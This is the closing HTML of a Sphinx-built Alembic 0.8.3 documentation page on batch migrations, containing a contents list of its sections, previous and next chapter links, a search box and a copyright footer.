<li><a class="reference internal" href="#dropping-unnamed-or-named-foreign-key-constraints">Dropping Unnamed or Named Foreign Key Constraints</a></li>
<li><a class="reference internal" href="#including-unnamed-unique-constraints">Including unnamed UNIQUE constraints</a></li>
<li><a class="reference internal" href="#including-check-constraints">Including CHECK constraints</a></li>
<li><a class="reference internal" href="#dealing-with-referencing-foreign-keys">Dealing with Referencing Foreign Keys</a></li>
</ul>
</li>
<li><a class="reference internal" href="#working-in-offline-mode">Working in Offline Mode</a></li>
<li><a class="reference internal" href="#batch-mode-with-autogenerate">Batch mode with Autogenerate</a></li>
<li><a class="reference internal" href="#batch-mode-with-databases-other-than-sqlite">Batch mode with databases other than SQLite</a></li>
</ul>
</li>
</ul>

  <h4>Previous topic</h4>
  <p class="topless"><a href="naming.html"
                        title="previous chapter">The Importance of Naming Constraints</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="branches.html"
                        title="next chapter">Working with Branches</a></p>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="_sources/batch.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
<div id="searchbox" style="display: none" role="search">
  <h3>Quick search</h3>
    <form class="search" action="search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    <p class="searchtip" style="font-size: 90%">
    Enter search terms or a module, class or function name.
    </p>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="branches.html" title="Working with Branches"
             >next</a> |</li>
        <li class="right" >
          <a href="naming.html" title="The Importance of Naming Constraints"
             >previous</a> |</li>
        <li class="nav-item nav-item-0"><a href="index.html">Alembic 0.8.3 documentation</a> &raquo;</li> 
      </ul>
    </div>
    <div class="footer" role="contentinfo">
        &copy; Copyright 2010-2015, Mike Bayer.
      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.3.1.
    </div>
  </body>
</html>